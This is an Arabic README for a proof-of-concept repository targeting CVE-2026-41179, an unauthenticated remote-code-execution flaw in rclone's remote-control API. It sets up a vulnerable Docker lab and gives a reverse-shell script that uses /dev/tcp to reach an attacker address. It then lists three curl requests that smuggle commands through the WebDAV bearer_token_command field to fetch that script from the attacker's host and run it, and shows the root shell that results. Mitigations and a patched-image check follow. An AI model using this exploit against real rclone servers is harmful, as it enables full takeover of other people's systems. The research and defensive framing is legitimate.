
POC لـ CVE-2026-41179
⚠️ لأغراض تعليمية فقط هذا المستودع مخصّص حصريًا للبحث الأمني والتعليم وبيئات المختبرات المصرّح بها. لا تتغاضى PSSec والمساهمون في هذا المستودع عن أي استخدام غير مصرح به أو غير قانوني أو خبيث للمعلومات أو الأكواد أو التقنيات الواردة هنا، ولا يدعمونه، ولا يتحملون أي مسؤولية عنه. باستخدامك لهذا المستودع، فأنت توافق على أنك وحدك المسؤول عن أفعالك، وأنك ستختبر فقط الأنظمة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها.
CVE-2026-41179 هي ثغرة حرجة لتنفيذ تعليمات برمجية عن بُعد (RCE) بدون مصادقة في واجهة التحكم عن بُعد (RC) المدمجة في rclone، وتؤثر على الإصدارات 1.48.0 حتى 1.73.4.
| التفاصيل | القيمة |
|---|---|
| CVE | CVE-2026-41179 |
| درجة CVSS | 9.8 (حرجة) |
| الإصدارات المتأثرة | rclone 1.48.0 – 1.73.4 |
| الإصدار المُصحَّح | rclone 1.73.5 |
| المكوّن | واجهة RC API (نقطة النهاية /operations/fsinfo) |
| ناقل الهجوم | الشبكة — لا تتطلب مصادقة |
يأتي rclone مزودًا بواجهة تحكم عن بُعد HTTP مدمجة (rcd). تستقبل نقطة النهاية /operations/fsinfo سلسلة fs= يقدّمها المستخدم، ويتم تحليلها واستخدامها لإنشاء خلفية (backend) — بما في ذلك خلفية WebDAV. تدعم خلفية WebDAV معامل bearer_token_command، الذي يُمرَّر مباشرةً إلى exec.Command() دون أي تعقيم (sanitization). وبما أن هذه النقطة لا تتطلب مصادقة افتراضيًا، يمكن لمهاجم غير مصادق أن يطلق تنفيذ أوامر نظام تشغيل عشوائية بصلاحية مستخدم عملية rclone.
سلسلة الهجوم باختصار:
POST /operations/fsinfo (no auth)
→ rc.GetFs() parses attacker-controlled fs= string
→ WebDAV backend instantiated with attacker params
→ bearer_token_command extracted
→ exec.Command() fires OS command
→ RCE as rclone process user
CVE-2026-41179/
├── Dockerfile.rclone # Vulnerable rclone image (v1.69.3)
├── patched.Dockerfile.rclone # Patched rclone image (v1.73.5)
├── poc.sh # Reverse shell payload
└── instructions # Step-by-step lab walkthrough
netcatdocker build -t rclone-vuln -f Dockerfile.rclone .
يقوم ببناء حاوية Debian-slim تعمل بتشغيل rclone v1.69.3 مع تعريض واجهة RC API على المنفذ 5572.
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln
أصبحت واجهة RC API الآن قابلة للوصول بدون مصادقة على http://127.0.0.1:5572.
penelope -p 5555
# OR
nc -lvnp 5555
قم بتعديل poc.sh وضبط عنوان IP الخاص بالمهاجم ومنفذ الاستماع:
#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1
شغّل هذا الأمر من نفس الدليل الذي يوجد فيه poc.sh:
python3 -m http.server 8888
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:8888/poc.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'
افحص المستمع الخاص بك — يجب أن تستلم قشرة بصلاحيات root من الحاوية:
[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
whoami
root
كرّر الخطوات من 1 إلى 8 باستخدام الصورة المُصحَّحة للتأكد من إصلاح الثغرة:
docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched
أرسل طلب curl نفسه إلى المنفذ 5573 — يجب ألا يتم تنفيذ الأمر.
rcd مع خياري --rc-user و --rc-pass لطلب بيانات الاعتماد.5572) عبر قواعد جدار الحماية — يجب ألا يكون مكشوفًا أبدًا للشبكات غير الموثوقة.--rc-no-auth=false (الافتراضي الجديد في الإصدارات المُصحَّحة) صراحةً في سكربتات بدء التشغيل.هذا المستودع مُقدَّم لأغراض تعليمية وبحث أمني مصرّح به فقط. يثبت كود إثبات المفهوم (PoC) وجود ثغرة حقيقية في بيئة مختبر Docker خاضعة للتحكم.
PSSec وجميع المساهمين:
قد يشكّل الاستخدام غير المصرح به لهذا الكود ضد أنظمة الإنتاج أو الأنظمة التي لا تملكها انتهاكًا لقوانين الاحتيال الحاسوبي والجرائم الإلكترونية في منطقتك.
CVE-2026-41179 — بحث من إعداد PSSec